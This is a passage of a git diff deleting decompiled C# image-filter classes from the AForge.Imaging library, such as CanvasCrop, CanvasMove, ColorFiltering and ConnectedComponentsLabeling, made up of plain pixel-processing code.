rect.Height - 2; - int num5 = rect.Width - 2; - int num6 = rect.Height - 2; - int stride = destination.Stride; - int stride2 = source.Stride; - int num7 = stride - rect.Width + 2; - int num8 = stride2 - rect.Width + 2; - double num9 = 180.0 / System.Math.PI; - float num10 = 0f; - float num11 = 0f; - UnmanagedImage unmanagedImage = gaussianFilter.Apply(source); - byte[] array = new byte[num5 * num6]; - float[,] array2 = new float[source.Width, source.Height]; - float num12 = float.NegativeInfinity; - byte* ptr = (byte*)unmanagedImage.ImageData.ToPointer(); - ptr += stride2 * num2 + num; - int num13 = 0; - for (int i = num2; i < num4; i++) - { - int num14 = num; - while (num14 < num3) - { - int num15 = ptr[-stride2 + 1] + ptr[stride2 + 1] - ptr[-stride2 - 1] - ptr[stride2 - 1] + 2 * (ptr[1] - ptr[-1]); - int num16 = ptr[-stride2 - 1] + ptr[-stride2 + 1] - ptr[stride2 - 1] - ptr[stride2 + 1] + 2 * (ptr[-stride2] - ptr[stride2]); - array2[num14, i] = (float)System.Math.Sqrt(num15 * num15 + num16 * num16); - if (array2[num14, i] > num12) - { - num12 = array2[num14, i]; - } - double num17; - if (num15 == 0) - { - num17 = ((num16 != 0) ? 90 : 0); - } - else - { - double num18 = (double)num16 / (double)num15; - num17 = ((!(num18 < 0.0)) ? (System.Math.Atan(num18) * num9) : (180.0 - System.Math.Atan(0.0 - num18) * num9)); - num17 = ((!(num17 < 22.5)) ? ((!(num17 < 67.5)) ? ((!(num17 < 112.5)) ? ((!(num17 < 157.5)) ? 0.0 : 135.0) : 90.0) : 45.0) : 0.0); - } - array[num13] = (byte)num17; - num14++; - ptr++; - num13++; - } - ptr += num8; - } - byte* ptr2 = (byte*)destination.ImageData.ToPointer(); - ptr2 += stride * num2 + num; - num13 = 0; - for (int j = num2; j < num4; j++) - { - int num19 = num; - while (num19 < num3) - { - switch (array[num13]) - { - case 0: - num10 = array2[num19 - 1, j]; - num11 = array2[num19 + 1, j]; - break; - case 45: - num10 = array2[num19 - 1, j + 1]; - num11 = array2[num19 + 1, j - 1]; - break; - case 90: - num10 = array2[num19, j + 1]; - num11 = array2[num19, j - 1]; - break; - case 135: - num10 = array2[num19 + 1, j + 1]; - num11 = array2[num19 - 1, j - 1]; - break; - } - if (array2[num19, j] < num10 || array2[num19, j] < num11) - { - *ptr2 = 0; - } - else - { - *ptr2 = (byte)(array2[num19, j] / num12 * 255f); - } - num19++; - ptr2++; - num13++; - } - ptr2 += num7; - } - ptr2 = (byte*)destination.ImageData.ToPointer(); - ptr2 += stride * num2 + num; - for (int k = num2; k < num4; k++) - { - int num20 = num; - while (num20 < num3) - { - if (*ptr2 < highThreshold) - { - if (*ptr2 < lowThreshold) - { - *ptr2 = 0; - } - else if (ptr2[-1] < highThreshold && ptr2[1] < highThreshold && ptr2[-stride - 1] < highThreshold && ptr2[-stride] < highThreshold && ptr2[-stride + 1] < highThreshold && ptr2[stride - 1] < highThreshold && ptr2[stride] < highThreshold && ptr2[stride + 1] < highThreshold) - { - *ptr2 = 0; - } - } - num20++; - ptr2++; - } - ptr2 += num7; - } - Drawing.Rectangle(destination, rect, Color.Black); - unmanagedImage.Dispose(); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CanvasCrop.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CanvasCrop.cs deleted file mode 100644 index a0afff2..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CanvasCrop.cs +++ /dev/null @@ -1,146 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class CanvasCrop : BaseInPlaceFilter -{ - private byte fillRed = byte.MaxValue; - - private byte fillGreen = byte.MaxValue; - - private byte fillBlue = byte.MaxValue; - - private byte fillGray = byte.MaxValue; - - private Rectangle region; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Color FillColorRGB - { - get - { - return Color.FromArgb(fillRed, fillGreen, fillBlue); - } - set - { - fillRed = value.R; - fillGreen = value.G; - fillBlue = value.B; - } - } - - public byte FillColorGray - { - get - { - return fillGray; - } - set - { - fillGray = value; - } - } - - public Rectangle Region - { - get - { - return region; - } - set - { - region = value; - } - } - - private CanvasCrop() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - } - - public CanvasCrop(Rectangle region) - : this() - { - this.region = region; - } - - public CanvasCrop(Rectangle region, Color fillColorRGB) - : this() - { - this.region = region; - fillRed = fillColorRGB.R; - fillGreen = fillColorRGB.G; - fillBlue = fillColorRGB.B; - } - - public CanvasCrop(Rectangle region, byte fillColorGray) - : this() - { - this.region = region; - fillGray = fillColorGray; - } - - public CanvasCrop(Rectangle region, Color fillColorRGB, byte fillColorGray) - : this() - { - this.region = region; - fillRed = fillColorRGB.R; - fillGreen = fillColorRGB.G; - fillBlue = fillColorRGB.B; - fillGray = fillColorGray; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0039: Unknown result type (might be due to invalid IL or missing references) - //IL_0043: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int width = image.Width; - int height = image.Height; - int num2 = image.Stride - width * num; - byte* ptr = (byte*)image.ImageData.ToPointer(); - if ((int)image.PixelFormat == 198659) - { - for (int i = 0; i < height; i++) - { - int num3 = 0; - while (num3 < width) - { - if (!region.Contains(num3, i)) - { - *ptr = fillGray; - } - num3++; - ptr++; - } - ptr += num2; - } - return; - } - for (int j = 0; j < height; j++) - { - int num4 = 0; - while (num4 < width) - { - if (!region.Contains(num4, j)) - { - ptr[2] = fillRed; - ptr[1] = fillGreen; - *ptr = fillBlue; - } - num4++; - ptr += num; - } - ptr += num2; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CanvasFill.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CanvasFill.cs deleted file mode 100644 index 33fe207..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CanvasFill.cs +++ /dev/null @@ -1,149 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class CanvasFill : BaseInPlaceFilter -{ - private byte fillRed = byte.MaxValue; - - private byte fillGreen = byte.MaxValue; - - private byte fillBlue = byte.MaxValue; - - private byte fillGray = byte.MaxValue; - - private Rectangle region; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Color FillColorRGB - { - get - { - return Color.FromArgb(fillRed, fillGreen, fillBlue); - } - set - { - fillRed = value.R; - fillGreen = value.G; - fillBlue = value.B; - } - } - - public byte FillColorGray - { - get - { - return fillGray; - } - set - { - fillGray = value; - } - } - - public Rectangle Region - { - get - { - return region; - } - set - { - region = value; - } - } - - private CanvasFill() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - } - - public CanvasFill(Rectangle region) - : this() - { - this.region = region; - } - - public CanvasFill(Rectangle region, Color fillColorRGB) - : this() - { - this.region = region; - fillRed = fillColorRGB.R; - fillGreen = fillColorRGB.G; - fillBlue = fillColorRGB.B; - } - - public CanvasFill(Rectangle region, byte fillColorGray) - : this() - { - this.region = region; - fillGray = fillColorGray; - } - - public CanvasFill(Rectangle region, Color fillColorRGB, byte fillColorGray) - : this() - { - this.region = region; - fillRed = fillColorRGB.R; - fillGreen = fillColorRGB.G; - fillBlue = fillColorRGB.B; - fillGray = fillColorGray; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_00a3: Unknown result type (might be due to invalid IL or missing references) - //IL_00ad: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int width = image.Width; - int height = image.Height; - int num2 = System.Math.Max(0, region.X); - int num3 = System.Math.Max(0, region.Y); - if (num2 >= width || num3 >= height) - { - return; - } - int num4 = System.Math.Min(width, region.Right); - int num5 = System.Math.Min(height, region.Bottom); - if (num4 <= num2 || num5 <= num3) - { - return; - } - int stride = image.Stride; - byte* ptr = (byte*)image.ImageData.ToPointer() + (nint)num3 * (nint)stride + (nint)num2 * (nint)num; - if ((int)image.PixelFormat == 198659) - { - int count = num4 - num2; - for (int i = num3; i < num5; i++) - { - SystemTools.SetUnmanagedMemory(ptr, fillGray, count); - ptr += stride; - } - return; - } - int num6 = stride - (num4 - num2) * num; - for (int j = num3; j < num5; j++) - { - int num7 = num2; - while (num7 < num4) - { - ptr[2] = fillRed; - ptr[1] = fillGreen; - *ptr = fillBlue; - num7++; - ptr += num; - } - ptr += num6; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CanvasMove.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CanvasMove.cs deleted file mode 100644 index 9202da9..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CanvasMove.cs +++ /dev/null @@ -1,297 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class CanvasMove : BaseInPlaceFilter -{ - private byte fillRed = byte.MaxValue; - - private byte fillGreen = byte.MaxValue; - - private byte fillBlue = byte.MaxValue; - - private byte fillAlpha = byte.MaxValue; - - private byte fillGray = byte.MaxValue; - - private IntPoint movePoint; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Color FillColorRGB - { - get - { - return Color.FromArgb(fillAlpha, fillRed, fillGreen, fillBlue); - } - set - { - fillRed = value.R; - fillGreen = value.G; - fillBlue = value.B; - fillAlpha = value.A; - } - } - - public byte FillColorGray - { - get - { - return fillGray; - } - set - { - fillGray = value; - } - } - - public IntPoint MovePoint - { - get - { - return movePoint; - } - set - { - movePoint = value; - } - } - - private CanvasMove() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)3424269; - } - - public CanvasMove(IntPoint movePoint) - : this() - { - this.movePoint = movePoint; - } - - public CanvasMove(IntPoint movePoint, Color fillColorRGB) - : this() - { - this.movePoint = movePoint; - fillRed = fillColorRGB.R; - fillGreen = fillColorRGB.G; - fillBlue = fillColorRGB.B; - fillAlpha = fillColorRGB.A; - } - - public CanvasMove(IntPoint movePoint, byte fillColorGray) - : this() - { - this.movePoint = movePoint; - fillGray = fillColorGray; - } - - public CanvasMove(IntPoint movePoint, Color fillColorRGB, byte fillColorGray) - : this() - { - this.movePoint = movePoint; - fillRed = fillColorRGB.R; - fillGreen = fillColorRGB.G; - fillBlue = fillColorRGB.B; - fillAlpha = fillColorRGB.A; - fillGray = fillColorGray; - } - - protected override void ProcessFilter(UnmanagedImage image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - switch (Image.GetPixelFormatSize(image.PixelFormat) / 8) - { - case 1: - case 3: - case 4: - ProcessFilter8bpc(image); - break; - case 2: - case 6: - case 8: - ProcessFilter16bpc(image); - break; - case 5: - case 7: - break; - } - } - - private unsafe void ProcessFilter8bpc(UnmanagedImage image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_00a2: Unknown result type (might be due to invalid IL or missing references) - //IL_00ac: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - bool flag = num == 4; - int width = image.Width; - int height = image.Height; - int stride = image.Stride; - int x = movePoint.X; - int y = movePoint.Y; - Rectangle rectangle = Rectangle.Intersect(new Rectangle(0, 0, width, height), new Rectangle(x, y, width, height)); - int num2 = 0; - int num3 = height; - int num4 = 1; - int num5 = 0; - int num6 = width; - int num7 = 1; - if (y > 0) - { - num2 = height - 1; - num3 = -1; - num4 = -1; - } - if (x > 0) - { - num5 = width - 1; - num6 = -1; - num7 = -1; - } - byte* ptr = (byte*)image.ImageData.ToPointer(); - if ((int)image.PixelFormat == 198659) - { - for (int i = num2; i != num3; i += num4) - { - for (int j = num5; j != num6; j += num7) - { - byte* ptr2 = ptr + (nint)i * (nint)stride + j; - if (rectangle.Contains(j, i)) - { - byte* ptr3 = ptr + (nint)(i - y) * (nint)stride + (j - x); - *ptr2 = *ptr3; - } - else - { - *ptr2 = fillGray; - } - } - } - return; - } - for (int k = num2; k != num3; k += num4) - { - for (int l = num5; l != num6; l += num7) - { - byte* ptr2 = ptr + (nint)k * (nint)stride + (nint)l * (nint)num; - if (rectangle.Contains(l, k)) - { - byte* ptr3 = ptr + (nint)(k - y) * (nint)stride + (nint)(l - x) * (nint)num; - ptr2[2] = ptr3[2]; - ptr2[1] = ptr3[1]; - *ptr2 = *ptr3; - if (flag) - { - ptr2[3] = ptr3[3]; - } - } - else - { - ptr2[2] = fillRed; - ptr2[1] = fillGreen; - *ptr2 = fillBlue; - if (flag) - { - ptr2[3] = fillAlpha; - } - } - } - } - } - - private unsafe void ProcessFilter16bpc(UnmanagedImage image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_00d6: Unknown result type (might be due to invalid IL or missing references) - //IL_00e0: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - bool flag = num == 8; - ushort num2 = (ushort)(fillRed << 8); - ushort num3 = (ushort)(fillGreen << 8); - ushort num4 = (ushort)(fillBlue << 8); - ushort num5 = (ushort)(fillAlpha << 8); - int width = image.Width; - int height = image.Height; - int stride = image.Stride; - int x = movePoint.X; - int y = movePoint.Y; - Rectangle rectangle = Rectangle.Intersect(new Rectangle(0, 0, width, height), new Rectangle(x, y, width, height)); - int num6 = 0; - int num7 = height; - int num8 = 1; - int num9 = 0; - int num10 = width; - int num11 = 1; - if (y > 0) - { - num6 = height - 1; - num7 = -1; - num8 = -1; - } - if (x > 0) - { - num9 = width - 1; - num10 = -1; - num11 = -1; - } - byte* ptr = (byte*)image.ImageData.ToPointer(); - if ((int)image.PixelFormat == 1052676) - { - for (int i = num6; i != num7; i += num8) - { - for (int j = num9; j != num10; j += num11) - { - ushort* ptr2 = (ushort*)(ptr + (nint)i * (nint)stride) + j; - if (rectangle.Contains(j, i)) - { - ushort* ptr3 = (ushort*)(ptr + (nint)(i - y) * (nint)stride) + (j - x); - *ptr2 = *ptr3; - } - else - { - *ptr2 = fillGray; - } - } - } - return; - } - for (int k = num6; k != num7; k += num8) - { - for (int l = num9; l != num10; l += num11) - { - ushort* ptr2 = (ushort*)(ptr + (nint)k * (nint)stride + (nint)l * (nint)num); - if (rectangle.Contains(l, k)) - { - ushort* ptr3 = (ushort*)(ptr + (nint)(k - y) * (nint)stride + (nint)(l - x) * (nint)num); - ptr2[2] = ptr3[2]; - ptr2[1] = ptr3[1]; - *ptr2 = *ptr3; - if (flag) - { - ptr2[3] = ptr3[3]; - } - } - else - { - ptr2[2] = num2; - ptr2[1] = num3; - *ptr2 = num4; - if (flag) - { - ptr2[3] = num5; - } - } - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ChannelFiltering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ChannelFiltering.cs deleted file mode 100644 index dfb25d6..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ChannelFiltering.cs +++ /dev/null @@ -1,210 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ChannelFiltering : BaseInPlacePartialFilter -{ - private IntRange red = new IntRange(0, 255); - - private IntRange green = new IntRange(0, 255); - - private IntRange blue = new IntRange(0, 255); - - private byte fillR; - - private byte fillG; - - private byte fillB; - - private bool redFillOutsideRange = true; - - private bool greenFillOutsideRange = true; - - private bool blueFillOutsideRange = true; - - private byte[] mapRed = new byte[256]; - - private byte[] mapGreen = new byte[256]; - - private byte[] mapBlue = new byte[256]; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public IntRange Red - { - get - { - return red; - } - set - { - red = value; - CalculateMap(red, fillR, redFillOutsideRange, mapRed); - } - } - - public byte FillRed - { - get - { - return fillR; - } - set - { - fillR = value; - CalculateMap(red, fillR, redFillOutsideRange, mapRed); - } - } - - public IntRange Green - { - get - { - return green; - } - set - { - green = value; - CalculateMap(green, fillG, greenFillOutsideRange, mapGreen); - } - } - - public byte FillGreen - { - get - { - return fillG; - } - set - { - fillG = value; - CalculateMap(green, fillG, greenFillOutsideRange, mapGreen); - } - } - - public IntRange Blue - { - get - { - return blue; - } - set - { - blue = value; - CalculateMap(blue, fillB, blueFillOutsideRange, mapBlue); - } - } - - public byte FillBlue - { - get - { - return fillB; - } - set - { - fillB = value; - CalculateMap(blue, fillB, blueFillOutsideRange, mapBlue); - } - } - - public bool RedFillOutsideRange - { - get - { - return redFillOutsideRange; - } - set - { - redFillOutsideRange = value; - CalculateMap(red, fillR, redFillOutsideRange, mapRed); - } - } - - public bool GreenFillOutsideRange - { - get - { - return greenFillOutsideRange; - } - set - { - greenFillOutsideRange = value; - CalculateMap(green, fillG, greenFillOutsideRange, mapGreen); - } - } - - public bool BlueFillOutsideRange - { - get - { - return blueFillOutsideRange; - } - set - { - blueFillOutsideRange = value; - CalculateMap(blue, fillB, blueFillOutsideRange, mapBlue); - } - } - - public ChannelFiltering() - : this(new IntRange(0, 255), new IntRange(0, 255), new IntRange(0, 255)) - { - } - - public ChannelFiltering(IntRange red, IntRange green, IntRange blue) - { - Red = red; - Green = green; - Blue = blue; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - int num = (((int)image.PixelFormat == 137224) ? 3 : 4); - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left * num; - for (int i = top; i < num3; i++) - { - int num5 = left; - while (num5 < num2) - { - ptr[2] = mapRed[ptr[2]]; - ptr[1] = mapGreen[ptr[1]]; - *ptr = mapBlue[*ptr]; - num5++; - ptr += num; - } - ptr += num4; - } - } - - private void CalculateMap(IntRange range, byte fill, bool fillOutsideRange, byte[] map) - { - for (int i = 0; i < 256; i++) - { - if (i >= range.Min && i <= range.Max) - { - map[i] = (fillOutsideRange ? ((byte)i) : fill); - } - else - { - map[i] = (fillOutsideRange ? fill : ((byte)i)); - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Closing.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Closing.cs deleted file mode 100644 index 4cfbec3..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Closing.cs +++ /dev/null @@ -1,89 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Closing : IFilter, IInPlaceFilter, IInPlacePartialFilter, IFilterInformation -{ - private Erosion errosion = new Erosion(); - - private Dilatation dilatation = new Dilatation(); - - public Dictionary FormatTranslations => errosion.FormatTranslations; - - public Closing() - { - } - - public Closing(short[,] se) - { - errosion = new Erosion(se); - dilatation = new Dilatation(se); - } - - public Bitmap Apply(Bitmap image) - { - Bitmap val = dilatation.Apply(image); - Bitmap result = errosion.Apply(val); - ((Image)val).Dispose(); - return result; - } - - public Bitmap Apply(BitmapData imageData) - { - Bitmap val = dilatation.Apply(imageData); - Bitmap result = errosion.Apply(val); - ((Image)val).Dispose(); - return result; - } - - public UnmanagedImage Apply(UnmanagedImage image) - { - UnmanagedImage unmanagedImage = dilatation.Apply(image); - errosion.ApplyInPlace(unmanagedImage); - return unmanagedImage; - } - - public void Apply(UnmanagedImage sourceImage, UnmanagedImage destinationImage) - { - dilatation.Apply(sourceImage, destinationImage); - errosion.ApplyInPlace(destinationImage); - } - - public void ApplyInPlace(Bitmap image) - { - dilatation.ApplyInPlace(image); - errosion.ApplyInPlace(image); - } - - public void ApplyInPlace(BitmapData imageData) - { - dilatation.ApplyInPlace(imageData); - errosion.ApplyInPlace(imageData); - } - - public void ApplyInPlace(UnmanagedImage image) - { - dilatation.ApplyInPlace(image); - errosion.ApplyInPlace(image); - } - - public void ApplyInPlace(Bitmap image, Rectangle rect) - { - dilatation.ApplyInPlace(image, rect); - errosion.ApplyInPlace(image, rect); - } - - public void ApplyInPlace(BitmapData imageData, Rectangle rect) - { - dilatation.ApplyInPlace(imageData, rect); - errosion.ApplyInPlace(imageData, rect); - } - - public void ApplyInPlace(UnmanagedImage image, Rectangle rect) - { - dilatation.ApplyInPlace(image, rect); - errosion.ApplyInPlace(image, rect); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ColorFiltering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ColorFiltering.cs deleted file mode 100644 index d6cdc71..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ColorFiltering.cs +++ /dev/null @@ -1,145 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ColorFiltering : BaseInPlacePartialFilter -{ - private IntRange red = new IntRange(0, 255); - - private IntRange green = new IntRange(0, 255); - - private IntRange blue = new IntRange(0, 255); - - private byte fillR; - - private byte fillG; - - private byte fillB; - - private bool fillOutsideRange = true; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public IntRange Red - { - get - { - return red; - } - set - { - red = value; - } - } - - public IntRange Green - { - get - { - return green; - } - set - { - green = value; - } - } - - public IntRange Blue - { - get - { - return blue; - } - set - { - blue = value; - } - } - - public RGB FillColor - { - get - { - return new RGB(fillR, fillG, fillB); - } - set - { - fillR = value.Red; - fillG = value.Green; - fillB = value.Blue; - } - } - - public bool FillOutsideRange - { - get - { - return fillOutsideRange; - } - set - { - fillOutsideRange = value; - } - } - - public ColorFiltering() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - public ColorFiltering(IntRange red, IntRange green, IntRange blue) - : this() - { - this.red = red; - this.green = green; - this.blue = blue; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - int num = (((int)image.PixelFormat == 137224) ? 3 : 4); - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left * num; - for (int i = top; i < num3; i++) - { - int num5 = left; - while (num5 < num2) - { - byte b = ptr[2]; - byte b2 = ptr[1]; - byte b3 = *ptr; - if (b >= red.Min && b <= red.Max && b2 >= green.Min && b2 <= green.Max && b3 >= blue.Min && b3 <= blue.Max) - { - if (!fillOutsideRange) - { - ptr[2] = fillR; - ptr[1] = fillG; - *ptr = fillB; - } - } - else if (fillOutsideRange) - { - ptr[2] = fillR; - ptr[1] = fillG; - *ptr = fillB; - } - num5++; - ptr += num; - } - ptr += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ColorRemapping.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ColorRemapping.cs deleted file mode 100644 index 0e4048d..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ColorRemapping.cs +++ /dev/null @@ -1,158 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ColorRemapping : BaseInPlacePartialFilter -{ - private byte[] redMap; - - private byte[] greenMap; - - private byte[] blueMap; - - private byte[] grayMap; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public byte[] RedMap - { - get - { - return redMap; - } - set - { - if (value == null || value.Length != 256) - { - throw new ArgumentException("A map should be array with 256 value."); - } - redMap = value; - } - } - - public byte[] GreenMap - { - get - { - return greenMap; - } - set - { - if (value == null || value.Length != 256) - { - throw new ArgumentException("A map should be array with 256 value."); - } - greenMap = value; - } - } - - public byte[] BlueMap - { - get - { - return blueMap; - } - set - { - if (value == null || value.Length != 256) - { - throw new ArgumentException("A map should be array with 256 value."); - } - blueMap = value; - } - } - - public byte[] GrayMap - { - get - { - return grayMap; - } - set - { - if (value == null || value.Length != 256) - { - throw new ArgumentException("A map should be array with 256 value."); - } - grayMap = value; - } - } - - public ColorRemapping() - { - redMap = new byte[256]; - greenMap = new byte[256]; - blueMap = new byte[256]; - grayMap = new byte[256]; - for (int i = 0; i < 256; i++) - { - redMap[i] = (greenMap[i] = (blueMap[i] = (grayMap[i] = (byte)i))); - } - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - public ColorRemapping(byte[] redMap, byte[] greenMap, byte[] blueMap) - : this() - { - RedMap = redMap; - GreenMap = greenMap; - BlueMap = blueMap; - } - - public ColorRemapping(byte[] grayMap) - : this() - { - GrayMap = grayMap; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0068: Unknown result type (might be due to invalid IL or missing references) - //IL_0072: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left * num; - if ((int)image.PixelFormat == 198659) - { - for (int i = top; i < num3; i++) - { - int num5 = left; - while (num5 < num2) - { - *ptr = grayMap[*ptr]; - num5++; - ptr++; - } - ptr += num4; - } - return; - } - for (int j = top; j < num3; j++) - { - int num6 = left; - while (num6 < num2) - { - ptr[2] = redMap[ptr[2]]; - ptr[1] = greenMap[ptr[1]]; - *ptr = blueMap[*ptr]; - num6++; - ptr += num; - } - ptr += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ConnectedComponentsLabeling.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ConnectedComponentsLabeling.cs deleted file mode 100644 index 8880496..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ConnectedComponentsLabeling.cs +++ /dev/null @@ -1,185 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ConnectedComponentsLabeling : BaseFilter -{ - private static Color[] colorTable = new Color[32] - { - Color.Red, - Color.Green, - Color.Blue, - Color.Yellow, - Color.Violet, - Color.Brown, - Color.Olive, - Color.Cyan, - Color.Magenta, - Color.Gold, - Color.Indigo, - Color.Ivory, - Color.HotPink, - Color.DarkRed, - Color.DarkGreen, - Color.DarkBlue, - Color.DarkSeaGreen, - Color.Gray, - Color.DarkKhaki, - Color.DarkGray, - Color.LimeGreen, - Color.Tomato, - Color.SteelBlue, - Color.SkyBlue, - Color.Silver, - Color.Salmon, - Color.SaddleBrown, - Color.RosyBrown, - Color.PowderBlue, - Color.Plum, - Color.PapayaWhip, - Color.Orange - }; - - private Dictionary formatTranslations = new Dictionary(); - - private BlobCounterBase blobCounter = new BlobCounter(); - - public override Dictionary FormatTranslations => formatTranslations; - - public BlobCounterBase BlobCounter - { - get - { - return blobCounter; - } - set - { - blobCounter = value; - } - } - - public static Color[] ColorTable - { - get - { - return colorTable; - } - set - { - colorTable = value; - } - } - - public bool FilterBlobs - { - get - { - return blobCounter.FilterBlobs; - } - set - { - blobCounter.FilterBlobs = value; - } - } - - public bool CoupledSizeFiltering - { - get - { - return blobCounter.CoupledSizeFiltering; - } - set - { - blobCounter.CoupledSizeFiltering = value; - } - } - - public int MinWidth - { - get - { - return blobCounter.MinWidth; - } - set - { - blobCounter.MinWidth = value; - } - } - - public int MinHeight - { - get - { - return blobCounter.MinHeight; - } - set - { - blobCounter.MinHeight = value; - } - } - - public int MaxWidth - { - get - { - return blobCounter.MaxWidth; - } - set - { - blobCounter.MaxWidth = value; - } - } - - public int MaxHeight - { - get - { - return blobCounter.MaxHeight; - } - set - { - blobCounter.MaxHeight = value; - } - } - - public int ObjectCount => blobCounter.ObjectsCount; - - public ConnectedComponentsLabeling() - { - formatTranslations[(PixelFormat)198659] = 